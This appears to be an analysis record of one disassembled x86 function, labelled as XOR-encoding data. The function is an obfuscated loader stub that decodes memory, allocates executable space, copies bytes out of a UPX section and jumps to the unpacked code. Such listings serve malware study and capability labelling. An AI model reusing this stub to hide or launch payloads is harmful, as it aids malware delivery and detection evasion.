Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x239b126b
dec esi
mov edi, esi
popal
add esi, edi
mov edi, 0xb42aa60c
dec esi
mov edi, 0
mov esi, edx
sub ebx, eax
or ebx, ebx
add ebx, 1
mov ecx, esi
or ebx, ebx
mov ebx, 0xce4f5b71
mov edx, ecx
mov ebx, 0x45069846
and eax, eax
and eax, eax
inc edi
sub ebx, 0xd5143b18
sub eax, ebx
sub eax, ebx
cmp edi, 0x10047a9
jne 0xa789c3
add eax, 0xf22db91
inc eax
sub edi, 0xb9869fc9
mov edi, esi
mov edi, 0xa78796
or edx, edx
and edx, esi
not esi
mov ecx, 0xa7898a
sub edx, 0x3f73d2db
mov esi, 0x19f72ea6
mov eax, dword [edi]
or esi, ebx
add ebx, 0xb22bc82
and eax, 0xff
mov ebx, edx
sub esi, ebx
dec esi
xor dword [ecx], eax
inc ebx
add esi, 0xc0bb4eec
mov esi, 0xe74d5699
inc ecx
sub esi, 0x520cd4ce
sub esi, 0x50ce9917
add ebx, 0x1f481495
add edi, 1
not ebx
or ebx, esi
mov esi, 0x3df1511c
cmp ecx, entry0
jl 0xa78a24
and ebx, edx
sub esi, 1
add edx, 0x35339281
and esi, esi
add ebx, 1
or edx, ecx
not ecx
or edi, edi
mov esi, 0xa7898e
dec edx
inc edi
and edi, edx
mov esi, dword [esi]
dec edx
mov ecx, 0x9d3add63
mov esi, dword [esi]
not edi
add edx, 0x822717a4
mov edx, 0x2b70b68f
sub esp, 4
mov dword [esp], esi
sub ebx, 0x6d6cee97
not edx
mov ebx, edx
mov esi, 0xa7898a
mov edx, 0x7b1328ae
dec edx
mov esi, dword [esi]
mov ebx, 0xa6a30ec2
add ebx, 0xe4296c9c
mov esi, dword [esi]
or edx, edi
add edi, edi
or edx, edx
push 0xa78992
mov edx, ecx
mov edi, edx
inc edi
call esi
or ecx, ecx
not ebx
pop esi
and ebx, ebx
add edi, 0xf84fc274
push 0xa7899f
sub ebx, 0x516af7d4
add edi, 0x21dd376b
push eax
sub edi, ebx
and ebx, ebx
call esi
mov edx, 0x50ac7b7c
sub ebx, 0xeb5ce22f
push 0x40
mov ecx, ebx
and edi, edx
and ebx, ebx
push 0x3000
inc ecx
dec ebx
push 0x200002c8
and ecx, edi
sub edx, 1
push 0
sub edx, 0x9dcf5853
mov ebx, ecx
call eax
or edx, edx
sub ebx, 0x5e8ad79d
inc ecx
add eax, 0x20000214
mov ebx, edx
and ecx, edi
mov edi, ebx
mov esi, 0x634e8beb
dec ecx
sub edi, 1
mov dword [eax], esi
not ebx
or edi, edx
and edx, edi
mov esi, dword [eax]
or ebx, ecx
sub ebx, 0x9efc8a73
cmp esi, 0x634e8beb
je 0xa78b8d
mov ebx, 0
mov dword [ebx], edx
mov edi, ecx
mov ebx, 0xa2511dd0
sub ecx, edi
dec ebx
not ecx
mov ecx, edi
mov esi, 0x62e70b23
sub edi, 1
mov esi, 0x9cc41da
mov ecx, section.UPX1
sub esi, edi
dec esi
not esi
mov ebx, 0xa78795
and edi, edi
sub edi, esi
add edi, 1
mov edx, 0
or edi, esi
not edi
add esi, 1
mov eax, 0xa78796
and edi, edi
sub edi, 0x481190c2
or edi, esi
lea eax, [edx + eax]
mov esi, 0x9b023eac
or edi, esi
mov eax, dword [eax]
mov esi, edi
mov esi, 0xf0168df0
mov esi, 0x7e62fcd6
and eax, 0xff
not edi
mov esi, 0xbf546fc9
inc edx
mov esi, 0x6870b00b
add esi, 0xb5b557da
cmp edx, 0x1f4
jne 0xa78c20
mov edx, 0
add edi, esi
inc edi
add edi, 0x170249d
dec esi
xor dword [ecx], eax
mov esi, edi
mov esi, 0x34cb9ff8
and esi, edi
add ecx, 2
mov esi, 0x3d25382c
not esi
cmp ecx, ebx
jl 0xa78bd3
not edi
or edi, esi
sub esi, edi
sub edi, esi
sub esi, edi
mov esi, 0xc6183a75
mov edi, section.UPX1
not edx
mov eax, edx
mov ebx, section.UPX1
not edx
add eax, eax
mov esi, 0xa78795
not eax
mov edx, 0x69985833
sub eax, 0x5e50f285
mov ecx, 0
or edx, edx
dec eax
inc eax
mov cl, byte [ebx]
mov edx, eax
add eax, 0x6f4cdbf2
mov byte [edi], cl
mov edx, eax
inc eax
add edi, 1
inc edx
inc edx
add eax, eax
add ebx, 2
and edx, edx
add edx, eax
cmp ebx, esi
jle 0xa78c86
add eax, 1
not eax
inc esi
sub esi, 1
add esi, 0x49a0a46c
sub esp, 4
mov dword [esp], 0x8dc6a0
sub esi, 0x9fe1951e
add esi, 0xd83c446e
ret